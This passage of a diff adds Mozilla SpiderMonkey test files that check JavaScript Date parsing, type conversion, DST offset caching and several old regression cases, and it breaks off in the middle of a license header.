+ ["24-Apr-2033", "2033-04-24T00:00:00"],
+
+ ["24-Apr-0023", "0023-04-24T00:00:00"],
+
+ // dd-MMM-yy
+ ["24-Apr-23", "2023-04-24T00:00:00"],
+ ["24-Apr-33", "2033-04-24T00:00:00"],
+
+ // dd-MMM-yyy
+ ["24-Apr-023", "2023-04-24T00:00:00"],
+
+ // yyyy-MM-dd
+ ["2023-Apr-24", "2023-04-24T00:00:00"],
+ ["2033-Apr-24", "2033-04-24T00:00:00"],
+
+ // yy-MM-dd
+ ["33-Apr-24", "2033-04-24T00:00:00"],
+
+ // yyy-MM-dd
+ ["033-Apr-24", "2033-04-24T00:00:00"],
+
+ // ==== Date followed by hour and TZ ====
+
+ ["24-Apr-2023 12:34:56", "2023-04-24T12:34:56"],
+ ["24-Apr-2023 Mon 12:34:56", "2023-04-24T12:34:56"],
+ ["24-Apr-2023 (Mon) 12:34:56", "2023-04-24T12:34:56"],
+ ["24-Apr-2023(Mon)12:34:56", "2023-04-24T12:34:56"],
+
+ ["24-Apr-2023,12:34:56", "2023-04-24T12:34:56"],
+ ["24-Apr-2023,Mon 12:34:56", "2023-04-24T12:34:56"],
+
+ ["24-Apr-2023 12:34:56 GMT", "2023-04-24T12:34:56Z"],
+ ["24-Apr-2023 12:34:56 +04", "2023-04-24T12:34:56+04:00"],
+ ["24-Apr-2023 12:34:56 +04:30", "2023-04-24T12:34:56+04:30"],
+ ["24-Apr-2023 12:34:56 -04", "2023-04-24T12:34:56-04:00"],
+ ["24-Apr-2023 12:34:56 -04:30", "2023-04-24T12:34:56-04:30"],
+
+ ["24-Apr-2023 GMT", "2023-04-24T00:00:00Z"],
+ ["24-Apr-2023 +04", "2023-04-24T00:00:00+04:00"],
+ ["24-Apr-2023 +04:30", "2023-04-24T00:00:00+04:30"],
+ ["24-Apr-2023 -04", "2023-04-24T00:00:00-04:00"],
+ ["24-Apr-2023 -04:30", "2023-04-24T00:00:00-04:30"],
+
+ ["24-Apr-2023GMT", "2023-04-24T00:00:00Z"],
+ ["24-Apr-2023+04", "2023-04-24T00:00:00+04:00"],
+ ["24-Apr-2023+04:30", "2023-04-24T00:00:00+04:30"],
+ ["24-Apr-2023-04", "2023-04-24T00:00:00-04:00"],
+ ["24-Apr-2023-04:30", "2023-04-24T00:00:00-04:30"],
+
+ ["24-Apr-2023,GMT", "2023-04-24T00:00:00Z"],
+ ["24-Apr-2023,+04", "2023-04-24T00:00:00+04:00"],
+ ["24-Apr-2023,+04:30", "2023-04-24T00:00:00+04:30"],
+ ["24-Apr-2023,-04", "2023-04-24T00:00:00-04:00"],
+ ["24-Apr-2023,-04:30", "2023-04-24T00:00:00-04:30"],
+
+ ["24-Apr-2023/12:34:56", "2023-04-24T12:34:56"],
+ ["24-Apr-2023/GMT", "2023-04-24T00:00:00Z"],
+
+ // ==== non dd-MMM-yyyy. Uses fallback path ====
+
+ // Missing space.
+ ["24-Apr-202312:13:14", "-202312-04-24T13:14:00"],
+
+ // Extra delimiter.
+ ["24-Apr- 2023", "2023-04-24T00:00:00"],
+ ["24-Apr -2023", "-002023-04-24T00:00:00"],
+ ["24- Apr-2023", "-002023-04-24T00:00:00"],
+ ["24 -Apr-2023", "-002023-04-24T00:00:00"],
+
+ ["24-Apr-/2023", "2023-04-24T00:00:00"],
+ ["24-Apr/-2023", "-002023-04-24T00:00:00"],
+ ["24-/Apr-2023", "-002023-04-24T00:00:00"],
+ ["24/-Apr-2023", "-002023-04-24T00:00:00"],
+
+ ["24-Apr-()2023", "2023-04-24T00:00:00"],
+ ["24-Apr()-2023", "-002023-04-24T00:00:00"],
+ ["24-()Apr-2023", "-002023-04-24T00:00:00"],
+ ["24()-Apr-2023", "-002023-04-24T00:00:00"],
+
+ // mday being 3+ digits
+ ["024-Apr-2023", "-002023-04-24T00:00:00"],
+ ["0024-Apr-2023", "-002023-04-24T00:00:00"],
+];
+
+for (const [testString, isoString] of tests) {
+ const testDate = new Date(testString);
+ const isoDate = new Date(isoString);
+
+ assertEq(testDate.getTime(), isoDate.getTime(),
+ testString);
+}
+
+const invalidTests = [
+ // mday being out of range.
+ "32-01-32",
+
+ // mday being 3+ digits, while year being 2-3 digits.
+ "024-Apr-22",
+ "024-Apr-023",
+
+ // Duplicate date.
+ "2012-Apr-08 12/12/12",
+];
+
+for (const testString of invalidTests) {
+ assertEq(Number.isNaN(new Date(testString).getTime()), true, testString);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/defaultvalue.js b/js/src/tests/non262/Date/defaultvalue.js
new file mode 100644
index 0000000000..2fc5887d18
--- /dev/null
+++ b/js/src/tests/non262/Date/defaultvalue.js
@@ -0,0 +1,190 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for Date with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function allTests()
+{
+ var DS = new Date(2010, 1, 1).toString();
+
+ // equality
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d == DS, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d2 == DS, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 42; };
+ assertEq(d3 == 42, true);
+
+ function testEquality()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d == DS, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d2 == DS, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 42; };
+ assertEq(d3 == 42, true);
+ }
+ testEquality();
+
+
+ // addition of Date to number
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d + 5, DS + "5");
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 9; };
+ assertEq(d2 + 3, 9 + 3);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d3 + 5, DS + "5");
+
+ function testDateNumberAddition()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d + 5, DS + "5");
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 9; };
+ assertEq(d2 + 3, 9 + 3);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d3 + 5, DS + "5");
+ }
+ testDateNumberAddition();
+
+
+ // addition of Date to Date
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d + d, DS + DS);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 5; };
+ assertEq(d2 + d2, 10);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 8.5; };
+ assertEq(d3 + d3, DS + DS);
+
+ function testDateDateAddition()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d + d, DS + DS);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 5; };
+ assertEq(d2 + d2, 10);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 8.5; };
+ assertEq(d3 + d3, DS + DS);
+ }
+ testDateDateAddition();
+
+
+ // Date as bracketed property name
+
+ var obj = { 8: 42, 9: 73 };
+ obj[DS] = 17;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(obj[d], 17);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 8; }
+ assertEq(obj[d2], 17);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 9; };
+ assertEq(obj[d3], 73);
+
+ function testPropertyName()
+ {
+ var obj = { 8: 42, 9: 73 };
+ obj[DS] = 17;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(obj[d], 17);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 8; }
+ assertEq(obj[d2], 17);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 9; };
+ assertEq(obj[d3], 73);
+ }
+ testPropertyName();
+
+
+ // Date as property name with |in| operator
+
+ var obj = {};
+ obj[DS] = 5;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d in obj, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return "baz"; };
+ assertEq(d2 in { baz: 42 }, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return "quux"; };
+ assertEq(d3 in obj, true);
+
+ function testInOperatorName()
+ {
+ var obj = {};
+ obj[DS] = 5;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d in obj, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return "baz"; };
+ assertEq(d2 in { baz: 42 }, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return "quux"; };
+ assertEq(d3 in obj, true);
+ }
+ testInOperatorName();
+}
+
+allTests();
+
+if (typeof newGlobal === "function")
+{
+ Date = newGlobal().Date;
+ allTests();
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Date/dst-offset-caching-1-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-1-of-8.js
new file mode 100644
index 0000000000..95a88e9a92
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-1-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(1, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-2-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-2-of-8.js
new file mode 100644
index 0000000000..0810f91176
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-2-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(2, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-3-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-3-of-8.js
new file mode 100644
index 0000000000..a70559afa3
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-3-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(3, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-4-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-4-of-8.js
new file mode 100644
index 0000000000..3bda28d617
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-4-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(4, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-5-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-5-of-8.js
new file mode 100644
index 0000000000..a15692ff0d
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-5-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(5, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-6-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-6-of-8.js
new file mode 100644
index 0000000000..d2ce8e90c8
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-6-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(6, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-7-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-7-of-8.js
new file mode 100644
index 0000000000..aaa560c202
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-7-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(7, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-8-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-8-of-8.js
new file mode 100644
index 0000000000..30a6f781b8
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-8-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(8, 8);
diff --git a/js/src/tests/non262/Date/equality-to-boolean.js b/js/src/tests/non262/Date/equality-to-boolean.js
new file mode 100644
index 0000000000..c60319b9d9
--- /dev/null
+++ b/js/src/tests/non262/Date/equality-to-boolean.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("Test for correct implementation of |Date == boolean| and vice versa");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Date.prototype.toString = function() { return 1; };
+Date.prototype.valueOf = function() { return 0; };
+
+/*
+ * ES5 11.9.3 doesn't directly handle obj == boolean. Instead it translates it
+ * as follows:
+ *
+ * obj == boolean
+ * ↳ obj == ToNumber(boolean), per step 7
+ * ↳ ToPrimitive(obj) == ToNumber(boolean), per step 9
+ *
+ * ToPrimitive calls [[DefaultValue]] with no hint. For Date objects this is
+ * treated as if it were instead called with hint String. That calls toString,
+ * which returns 1, so Date objects here should compare equal to true and
+ * unequal to false.
+ */
+assertEq(new Date == true, true);
+assertEq(new Date == false, false);
+
+/* == is symmetric. */
+assertEq(true == new Date, true);
+assertEq(false == new Date, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/fractions.js b/js/src/tests/non262/Date/fractions.js
new file mode 100644
index 0000000000..30dd663ddd
--- /dev/null
+++ b/js/src/tests/non262/Date/fractions.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 771946;
+var summary = "Fractional days, months, years shouldn't trigger asserts";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+new Date(0).setFullYear(1.5);
+new Date(0).setUTCDate(1.5);
+new Date(0).setMonth(1.5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/non-iso.js b/js/src/tests/non262/Date/non-iso.js
new file mode 100644
index 0000000000..9bd97dc288
--- /dev/null
+++ b/js/src/tests/non262/Date/non-iso.js
@@ -0,0 +1,81 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+/*
+ * For the sake of cross compatibility with other implementations we
+ * follow the W3C "NOTE-datetime" specification when parsing dates of
+ * the form YYYY-MM-DDTHH:MM:SS save for a few exceptions: months, days, hours
+ * minutes, and seconds may be either one _or_ two digits long, and the 'T'
+ * preceding the time part may be replaced with a space. So, a string like
+ * "1997-3-8 1:1:1" will parse successfully. See bug: 1203298
+ */
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(new Date("1997-03-08 1:1:1.01").getTime(),
+ new Date("1997-03-08T01:01:01.01").getTime());
+assertEq(new Date("1997-03-08 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-08 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("+001997-3-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("+001997-03-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-03-08 11:19").getTime(),
+ new Date("1997-03-08T11:19").getTime());
+assertEq(new Date("1997-03-08 1:19").getTime(),
+ new Date("1997-03-08T01:19").getTime());
+assertEq(new Date("1997-03-08 1:1").getTime(),
+ new Date("1997-03-08T01:01").getTime());
+assertEq(new Date("1997-03-08 1:1:01").getTime(),
+ new Date("1997-03-08T01:01:01").getTime());
+assertEq(new Date("1997-03-08 1:1:1").getTime(),
+ new Date("1997-03-08T01:01:01").getTime());
+assertEq(new Date("1997-03-08 11").getTime(),
+ new Date("1997-03-08T11").getTime()); // Date(NaN)
+assertEq(new Date("1997-03-08").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-03-8").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-3-8").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-03-08 11:19:10-07").getTime(),
+ new Date("1997-03-08 11:19:10-0700").getTime());
+assertEq(new Date("1997-03-08T11:19:10-07").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 ").getTime(),
+ new Date("1997-03-08T").getTime()); // Date(NaN)
+assertEq(new Date("1997-3-8T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-8T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("+001997-3-8T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("+001997-3-08T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 :00:01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 01::01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:19").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:1").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:1:01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:1:1").getTime(),
+ new Date(NaN).getTime());
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/parse-from-tostring-methods.js b/js/src/tests/non262/Date/parse-from-tostring-methods.js
new file mode 100644
index 0000000000..b6bf577bb0
--- /dev/null
+++ b/js/src/tests/non262/Date/parse-from-tostring-methods.js
@@ -0,0 +1,31 @@
+let dates = [
+ "0041-09-23", "+000041-09-23", "-000041-09-23",
+ "0091-09-23", "+000091-09-23", "-000091-09-23",
+ "0217-09-23", "+000217-09-23", "-000217-09-23",
+ "2017-09-23", "+002017-09-23", "-002017-09-23",
+ "+022017-09-23", "-022017-09-23",
+ "+202017-09-23", "-202017-09-23",
+];
+
+for (let date of dates) {
+ let d = new Date(date);
+ let timeValue = d.valueOf();
+
+ assertEq(Number.isNaN(timeValue), false, `Cannot parse "${date}" as ISO date-only form`);
+
+ // Ensure parsing the results of toString(), toUTCString(), and toISOString()
+ // gives the same time value as required by 20.3.3.2 Date.parse.
+ //
+ // Additional requirement not present in ES2019 draft rev 7acacc524213058a2368b5fa751fac7ea08ba230:
+ // The time zone offset must not contain seconds (or milliseconds) for |Date.parse(x.toString())|
+ // to be equal to |x.valueOf()|.
+ let tz = d.getTimezoneOffset();
+ if (Math.trunc(tz) === tz) {
+ assertEq(Date.parse(d.toString()), timeValue, `Cannot parse from toString() of "${date}"`);
+ }
+ assertEq(Date.parse(d.toUTCString()), timeValue, `Cannot parse from toUTCString() of "${date}"`);
+ assertEq(Date.parse(d.toISOString()), timeValue, `Cannot parse from toISOString() of "${date}"`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/parse-time-zone.js b/js/src/tests/non262/Date/parse-time-zone.js
new file mode 100644
index 0000000000..c239822b04
--- /dev/null
+++ b/js/src/tests/non262/Date/parse-time-zone.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT") -- Windows doesn't accept IANA names for the TZ env variable
+
+// bug 1676708
+inTimeZone("Europe/London", () => {
+ let dt = new Date("Wed Nov 11 2020 19:18:50 GMT+0010");
+ assertEq(dt.getTime(), new Date(2020, Month.November, 11, 19, 08, 50).getTime());
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/prototype-is-not-a-date.js b/js/src/tests/non262/Date/prototype-is-not-a-date.js
new file mode 100644
index 0000000000..26f0c3e859
--- /dev/null
+++ b/js/src/tests/non262/Date/prototype-is-not-a-date.js
@@ -0,0 +1,15 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 861219;
+var summary = "Date.prototype isn't an instance of Date";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Date.prototype instanceof Date, false);
+assertEq(Date.prototype.__proto__, Object.prototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/regress-188211.js b/js/src/tests/non262/Date/regress-188211.js
new file mode 100644
index 0000000000..663611b81b
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-188211.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 188211;
+var summary = 'Date.prototype.toLocaleString() error on future dates';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var dt;
+
+dt = new Date(208e10);
+printStatus(dt+'');
+expect = true;
+actual = dt.toLocaleString().indexOf('2035') >= 0;
+reportCompare(expect, actual, summary + ': new Date(208e10)');
+
+dt = new Date(209e10);
+printStatus(dt+'');
+expect = true;
+actual = dt.toLocaleString().indexOf('2036') >= 0;
+reportCompare(expect, actual, summary + ': new Date(209e10)');
diff --git a/js/src/tests/non262/Date/regress-301738-01.js b/js/src/tests/non262/Date/regress-301738-01.js
new file mode 100644
index 0000000000..8f5ae7d304
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-301738-01.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 301738;
+var summary = 'Date parse compatibilty with MSIE';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ Case 1. The input string contains an English month name.
+ The form of the string can be month f l, or f month l, or
+ f l month which each evaluate to the same date.
+ If f and l are both greater than or equal to 70, or
+ both less than 70, the date is invalid.
+ The year is taken to be the greater of the values f, l.
+ If the year is greater than or equal to 70 and less than 100,
+ it is considered to be the number of years after 1900.
+*/
+
+var month = 'January';
+var f;
+var l;
+
+f = l = 0;
+expect = true;
+
+actual = isNaN(new Date(month + ' ' + f + ' ' + l));
+reportCompare(expect, actual, 'January 0 0 is invalid');
+
+actual = isNaN(new Date(f + ' ' + l + ' ' + month));
+reportCompare(expect, actual, '0 0 January is invalid');
+
+actual = isNaN(new Date(f + ' ' + month + ' ' + l));
+reportCompare(expect, actual, '0 January 0 is invalid');
+
+f = l = 70;
+
+actual = isNaN(new Date(month + ' ' + f + ' ' + l));
+reportCompare(expect, actual, 'January 70 70 is invalid');
+
+actual = isNaN(new Date(f + ' ' + l + ' ' + month));
+reportCompare(expect, actual, '70 70 January is invalid');
+
+actual = isNaN(new Date(f + ' ' + month + ' ' + l));
+reportCompare(expect, actual, '70 January 70 is invalid');
+
+f = 100;
+l = 15;
+
+// year, month, day
+expect = new Date(f, 0, l).toString();
+
+actual = new Date(month + ' ' + f + ' ' + l).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = new Date(f + ' ' + l + ' ' + month).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = new Date(f + ' ' + month + ' ' + l).toString();
+reportCompare(expect, actual, 'f month l');
+
+f = 80;
+l = 15;
+
+// year, month, day
+expect = (new Date(f, 0, l)).toString();
+
+actual = (new Date(month + ' ' + f + ' ' + l)).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = (new Date(f + ' ' + l + ' ' + month)).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = (new Date(f + ' ' + month + ' ' + l)).toString();
+reportCompare(expect, actual, 'f month l');
+
+f = 2040;
+l = 15;
+
+// year, month, day
+expect = (new Date(f, 0, l)).toString();
+
+actual = (new Date(month + ' ' + f + ' ' + l)).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = (new Date(f + ' ' + l + ' ' + month)).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = (new Date(f + ' ' + month + ' ' + l)).toString();
+reportCompare(expect, actual, 'f month l');
+
diff --git a/js/src/tests/non262/Date/regress-309925-01.js b/js/src/tests/non262/Date/regress-309925-01.js
new file mode 100644
index 0000000000..ee6daaffc4
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-309925-01.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309925;
+var summary = 'Correctly parse Date strings with HH:MM';
+var actual = new Date('Sep 24, 11:58 105') + '';
+var expect = new Date('Sep 24, 11:58:00 105') + '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Date/regress-309925-02.js b/js/src/tests/non262/Date/regress-309925-02.js
new file mode 100644
index 0000000000..60bbfc33b0
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-309925-02.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309925;
+var summary = 'Correctly parse Date strings with HH:MM(comment)';
+var actual = new Date('Sep 24, 11:58(comment) 105') + '';
+var expect = new Date('Sep 24, 11:58:00 (comment) 105') + '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Date/regress-346027.js b/js/src/tests/non262/Date/regress-346027.js
new file mode 100644
index 0000000000..ad1dc9e55f
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-346027.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346027;
+var summary = 'Date.prototype.setFullYear()';
+var actual = '';
+var expect = true;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d = new Date();
+ d.setFullYear();
+ actual = isNaN(d.getFullYear());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Date/regress-346363.js b/js/src/tests/non262/Date/regress-346363.js
new file mode 100644
index 0000000000..6381899fbc
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-346363.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346363;
+var summary = 'Date.prototype.setFullYear()';
+var actual = '';
+var expect = true;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d = new Date();
+ d.setFullYear();
+ d.setFullYear(2006);
+ actual = d.getFullYear() == 2006;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Date/regress-452786.js b/js/src/tests/non262/Date/regress-452786.js
new file mode 100644
index 0000000000..c8943b1f99
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-452786.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
